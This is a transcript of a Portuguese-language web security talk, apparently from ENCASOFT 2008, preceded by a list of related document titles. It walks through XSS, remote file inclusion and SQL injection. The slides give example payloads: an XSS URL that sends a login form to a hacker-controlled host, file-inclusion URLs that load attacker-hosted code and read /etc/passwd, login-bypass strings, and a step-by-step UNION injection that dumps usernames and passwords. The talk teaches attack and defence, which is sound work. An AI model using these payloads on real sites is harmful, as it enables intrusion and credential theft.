Maycon Maia Vitali ( 0ut0fBound )

Documentos relacionados
Lidando com Armazenamento de Dados

Aula 6: Vulnerabilidades Web

474QU35 J1y4n y4r

Segurança em Sistemas Web. Addson A. Costa

Petter Anderson Lopes Arbitragem, Desenvolvimento Seguro, Segurança Ofensiva e Forense Computacional

Aula 4. Ivan Sendin. 30 de agosto de FACOM - Universidade Federal de Uberlândia SEG-4.

Estratégias de Segurança para Desenvolvimento de Software. Italo Valcy e Kaio Rodrigo CoSIC / STI-UFBA

SEGURANÇA EM APLICAÇÕES WEB PROF.: PAULO RICARDO LISBOA DE ALMEIDA

O papel do IT Service Desk como 1ª linha de defesa contra Ciberataques. Cristiano Breder

Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW. Free Powerpoint Templates Page 1

Taxonomia Comum para a Rede Nacional de CSIRTs

IDENTIFICANDO VULNERABILIDADES EM LARGA ESCALA ATRAVÉS DE FALHAS DE DESENVOLVIMENTO

Cross-Site Scripting (XSS): Entendendo o conceito e seus tipos

Cross-Site Scripting. Paulo Ricardo Lisboa de Almeida. 1 Universidade Positivo

GERAÇÃO DE ARQUIVOS DE SCRIPT EM PHP. Acadêmico: Leonardo Sommariva Orientador: Alexander Roberto Valdameri

SYHUNT HYBRID: GUIA DE INTRODUÇÃO

Ataque em Sistemas Distribuídos Site :

Quando a máquina terminar o arranque e lhe pedir as credenciais para entrar, introduza as seguintes:

Teste de Software para. Segurança de Sistemas. COTI Informática Escola de Nerds

OPORTUNIDADES: Analista de Sistemas Sênior

Campus Capivari Técnico em Manutenção e Suporte em Informática Prof. André Luís Belini /

Desenvolvendo aplicações Apex mais seguras Anderson Rodrigues Ferreira

Hardening de equipamentos

Internet Explorer 8.0 Navegador (Browser)

INTRODUÇÃO A PROGRAMAÇÃO AVANÇADA PARA WEB E AO HTML. Prof. Msc. Hélio Esperidião

Especializado Web Programmer. Sobre o curso. Destinatários. Pré-requisitos. Tecnologias de Informação - Web e Mobile. Promoção: 15% Desconto

Daniel Moreno. Novatec

Apostila 4. Ameaças e Contramedidas de Segurança no Host

Introdução 20 Diagramas de fluxos de dados 20 O processo de elaboração de DFD 22 Regras práticas para a elaboração de DFD 24 Dicionário de dados 26

Segurança de aplicações web: Experimentos e taxonomia de ataques.

SEGURANÇA DE SISTEMAS E REDES. TÁSSIO JOSÉ GONÇALVES GOMES

Segurança Informática e nas Organizações. Guiões das Aulas Práticas

SQL/HTML Injection e Criptografia Professor Fábio Luís da Silva Santos

INTRODUÇÃO A PROGRAMAÇÃO PARA WEB

Qual a proposta? Hardening de infraestrutrua de hospedagem Firewall de aplicação Pentest de aplicações web Análise estática de código

Banco de Dados SQL injection

Ementa Oficial do. Curso Pentest: Técnicas de Invasão Básico

Manual Básico de Configuração para Acesso Remoto ao Portal de Periódicos CAPES Versão 1.0

AULA 8. Ambientes Visuais 8.1. OBJETIVO DA AULA SQL (Structured Query Language)

XSS - CROSS-SITE SCRIPTING

Fundamentos de Ethical Hacking EXIN. Guia de Preparação. Edição

segurança em aplicações web

TECNOLOGIA DA INFORMAÇÃO

A CASA DO SIMULADO DESAFIO QUESTÕES MINISSIMULADO 122/360

A Resposta a Incidentes no Processo de Desenvolvimento Seguro. Daniel Araújo Melo -

Segurança em aplicações web: pequenas ideias, grandes resultados Prof. Alex Camargo

SQL INJECTION: ENTENDENDO E EVITANDO. MAGALHÃES, Felipe. B. ¹, BASTOS, Rafael. R² RESUMO

Nesta disciplina aprenderemos. HTML CSS JavaScript Jquery PHP

Segurança em PHP. Exemplos e Casos Práticos

Desenvolvimento Web II

Guia de dupla autenticação

INTERNET E SEGURANÇA DOS DADOS. Introdução a Computação e Engenharia de Software. Profa. Cynthia Pinheiro

SOLICITAÇÃO DE CERTIFICADO SERVIDOR TOMCAT

Analista de Negócios. Local de Trabalho: Porto Alegre. Número de Vagas: 02. Analista de Sistemas

Aula Prática de Redes Industriais Wireshark

Conheça nossa solução Corporativa de Backup e Armazenamento

Manipulação de arquivos em PHP

Redes de Computadores

Segurança e IoT: desafios e expectativas, com base nos incidentes que já estão ocorrendo. Cristine Hoepers, D.Sc. Gerente Geral CERT.br/NIC.

3/9/2011. Segurança da Informação. Segurança da Informação. O que é Segurança e seguro? Prof. Luiz A. Nascimento Auditoria e Segurança de Sistemas

Entendendo o Sequestro de Sessão (Session Hijacking)

saída durante o runtime Usando Functions de uma Única Linha para Personalizar Relatórios Mostrar as diferenças entre as functions SQL de uma única

ANEXO VII Perfil para futuros concursos de TI da UNIFESP

Web Interativa com Ajax e PHP

Capítulo 7. A camada de aplicação

Desenvolvendo Websites com PHP

[2011] Usabilidade. Manual Gerenciador Usuários. escritórios contábeis. Neo Solutions - Soluções para gestão de

Segurança na WEB Ambiente WEB estático

MASTERSAF REDF SP CONFIGURAÇÃO E CRIPTOGRAFIA

igrpweb Índice gráfico Cliente NOSi igrpweb Referência Versão 1.00 Status

A CASA DO SIMULADO DESAFIO QUESTÕES MINISSIMULADO 38/360

Laudo resumido do Pentest do sistema ALVO no ambiente da empresa CLIENTE ALVO

Transcrição:

Maycon Maia Vitali ( 0ut0fBound ) mayconmaia@yahoo.com.br

Sobre o palestrante Pra que segurança? Ataques de Cross-Site-Script (XSS) Ataques de File Include Ataques de SQL Injection Mecanismos de proteção (funcionam?) Ataques planejados (avançado) Técnicas de evasão Exemplos reais

Maycon Maia Vitali Graduando em Ciência da Computação no Centro Universitário Vila Velha Não possui certificação Microsoft Não possui certificação Linux Não possui certificação Java Não possui certificação em Bando de Dados Não possui certificação em Redes Não possui certificação em Segurança da Informação

Autodidata em segurança da informação; Analista Pen-test (free-lancer) para diversas empresas/tigers Team; Escritor de artigos técnicos envolvendo segurança da informação; Palestrantes em diversos eventos tecnológico como H2HC, Encasoft, Code Breakers Meeting, etc; Desenvolvedor de ferramentas de auditoria de segurança; Também conhecido como 0ut0fBound.

Escrita de exploits Escrita e otimização de shellcodes Ataques web Técnicas de evasão Engenharia Reversa (análise de malwares) Sistemas de Detecção de Intrusão Qualquer coisa que tenha Baixaria

Por prazer (hobby) Necessidade pessoal ou corporativa Para estar um passo a frente (contra 0-day) Hack n Roll Maldita inclusão digital Se uma coisa pode dar errada de 4 maneiras possíveis e você consegue driblar as 4, quer dizer que na verdade eram 5 - Murphy

Citação 1 Toda entrada é mal intencionada até que se provém ao contrário Citação 2 O sistema esta seguro até que se provem ao contrário

Permite ao atacante executar código Client-Side (JavaScript?) no browser da vítima Impacto irrelevante em ataques não planejados Trabalho em conjunto com Engenharia Social (Porque não existe patch pra estupidez humana) Com sucesso absoluto, permite fazer Session Hijacking

Variável busca não passar por nenhum tipo de filtro ou tratamento antes de retornar ao navegador do usuário Para sucesso o ataque deve ser planejado e com Engenharia Social

http:/www.empresa.com/busca.php?busca=< script>document.frmlogin.action= http://ww w.hacker.com/fake_login.php </script> Session Hijacking XMLHttpRequest (Ajax?) é seu amigo!!

Solução de detecção/prevenção de intrusão Snort ( qualquer dúvida fale com Sp0oker ) Investir em desenvolvimento seguro

Também conhecida por PHP Injection Consiste em alterar o valor de variáveis que são passadas como parâmetros para a função include(_once) ou require(_once) Impacto significante no servidor; Por causa de uma falha todo o servidor pode ser comprometido;

http://www.site.com.br/index.php?pagina=historia http://www.site.com.br/index.php?pagina=contato

Efetua Ataque GET b4d_c0de.txt Hack n Roll Código Maléfico Servidor da Empresa Servidor do Atacante

/index.php?pagina=http://www.hack.com/b4d_c0 de.txt? &cmd=id http://www.hack.com/b4d_c0de.txt?.php

Filtrar assinaturas de ataques.

Filtrar assinaturas de ataques. pagina=http://www.hack.com/b4d_c0de.txt?

Filtrar assinaturas de ataques.

Filtrar assinaturas de ataques. pagina=https://www.hack.com/b4d_c0de.txt? pagina=ftp://ftp.hack.com/b4d_c0de.txt%00

Filtrar assinaturas de ataques.

Filtrar assinaturas de ataques. pagina=\\samba_hacker\b4d_c0de.txt%00

HTTP and HTTPS FTP and FTPS PHP input/output streams Compression Streams Data (RFC 2397) Glob Secure Shell 2 Audio Streams Process Interaction Streams

http://br2.php.net/manual/en/filesystem.con figuration.php#ini.allow-url-fopen allow_url_fopen=off

http://br2.php.net/manual/en/filesystem.con figuration.php#ini.allow-url-fopen allow_url_fopen=off pagina=../../../../../etc/passwd%00

Existem outras soluções boas e seguras.

Ocorre quando é possível inserir (injetar) códigos SQL em uma aplicação a partir de informações fornecidas pelo usuário Permite ler dados sensíveis do Banco de Dados Permite modificar dados do Banco de Dados (insert/delete/update) Permite executar comandos administrativos do Banco de Dados (ex: shutdown) Em alguns casos, permite executar comandos no Sistema Operacional.

Como o valor digitado não passou por nenhum tipo de filtro um atacante pode injetar códigos SQL alterando a lógica da consulta.

Usuário: or = Senha: or =

Usuário: UNION SELECT hacker, h4ck3r Senha: h4ck3r Senha Usuário A primeira consulta não retorna nenhum registro enquanto a segunda retorna um registro criado na mão.

Função addslashes() Configuração magic_quotes (DEPRECATED and REMOVED as of PHP 6.0.0) Será o FIM dos ataques de SQL Injection?

Toda entrada é mal intencionada Planejamento para um ataque complexo Blind SQL Injection Dump do Banco de Dados Saber programação e conhecimento do protocolo HTTP ajuda muito!! Utilização de ferramentas auxiliares ( nada de clique e invada ) Você não foi o programador (designer?), logo não sabe como está estruturado

Fazer a enumeração dos possíveis links e suas variáveis www.empresa.com.br/noticias.php?id=2871 www.empresa.com.br/busca.php?chave=oi&pag=2 www.empresa.com.br/noticia/2871/titulo-noticia Em casos de perfumarias (ajax?) ferramentas como FireBug e WebDeveloper podem auxiliar

Levantar se alguns dos campos possui uma vulnerabilidade de SQL Injection: www.empresa.com.br/noticias.php?id=2871 www.empresa.com.br/noticias.php?id=2870+1 www.empresa.com.br/noticias.php?id=2871 www.empresa.com.br/noticias.php?id=2871 -- www.empresa.com.br/noticias.php?id=2871 www.empresa.com.br/noticias.php?id=2871) -- Não retornar um aviso de campo inválido ou tentativa de invasão(?) sugere a possibilidade de uma falha.

/noticias.php?id=2871 order by 50 -- /noticias.php?id=2871 order by 25 -- /noticias.php?id=2871 order by 12 -- /noticias.php?id=2871 order by 19 -- /noticias.php?id=2871 order by 15 -- /noticias.php?id=2871 order by 13 -- /noticias.php?id=2871 order by 14 -- Errado Errado Certo Errado Errado Certo Errado Total de colunas na consulta original: 13

/noticias.php?id=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 -- ENCASOFT 2008 Leomar V. A Linux-ES, comunidade de usuários de Software Livre do Espírito Santo, tem o prazer de anunciar a quarta edição do Encontro Capixaba de Software Livre ENCASOFT 2008. O evento será realizado nos dias 10 e 11 de outubro (sexta e sábado), no Centro Universitário Vila-Velha (UVV), Vila-Velha-ES. 3 6 7

Já temos um vetor de ataque. Já sabemos quantas colunas a consulta possui. Já sabemos quais colunas são visíveis. O que falta? Nomes de tabelas e nomes de campos Como conseguir? Brute-Force (usuarios, tb_usuarios, logins, acesso, etc) INFORMATION_SCHEMA é seu melhor amigo.

/noticias.php?id=0 union select 1, 2, TABLE_NAME, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13 FROM INFORMATION_SCHEMA.TABLES -- /noticias.php?id=0 union select 1, 2, TABLE_NAME, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ( tab_noticia ) -- tab_noticia 6 7 tab_newsletter 6 7

/noticias.php?id=0 union select 1, 2, TABLE_NAME, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (CHAR(116, 98, 95, 110, 111, 116, 105, 99, 105, 97)) -- Char ASCii t 116 b 98 _ 95 n 110 o 111 t 116 i 105 c 99 i 105 a 97 tab_newsletter 6 7

/noticias.php?id=0 union select 1, 2, TABLE_NAME, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE %usu% -- tab_usuario 6 7

/noticias.php?id=0 union select 1, 2, COLUMN_NAME, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13 from INFORMATION_SCHEMA.COLUNMS where TABLE_NAME = tb_usuario -- /noticias.php?id=0 union select 1, 2, COLUMN_NAME, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13 from INFORMATION_SCHEMA.COLUNMS where TABLE_NAME = tb_usuario and COLUMN_NAME not in ( usu_id ) -- usu_id 6 7 usu_login 6 7

/noticias.php?id=0 union select 1, 2, TABLE_NAME, 4, 5, 6, COLUMN_NAME, 8, 9, 10, 11, 12, 13 from INFORMATION_SCHEMA.COLUNMS where COLUMN_NAME like %senha% -- tb_usuario 6 usu_senha

Tendo o nome da tabela e seus respectivos campos de login/senha: /noticias.php?id=0 union select 1, 2, usu_login, 4, 5, 6, usu_senha, 8, 9, 10, 11, 12, 13 from tb_usuarios -- admin 6 123456

Duas linhas de código em troca de muuuuita muuuita dor de cabeça, perda de dinheiro e de clientes.

Verificar por triggers ou store procedures que facilitem o trabalho; Verifiquem que nível de permissão possui (xp.dbo.cmd_shell é seu amigo); Procure por outros vetores de ataques, visto que falhas com listagem de resposta viabiliza mais o sucesso e em menos tempo; No caso de brute-force tente procurar por padrões;

Maycon Maia Vitali ( 0ut0fBound ) mayconmaia@yahoo.com.br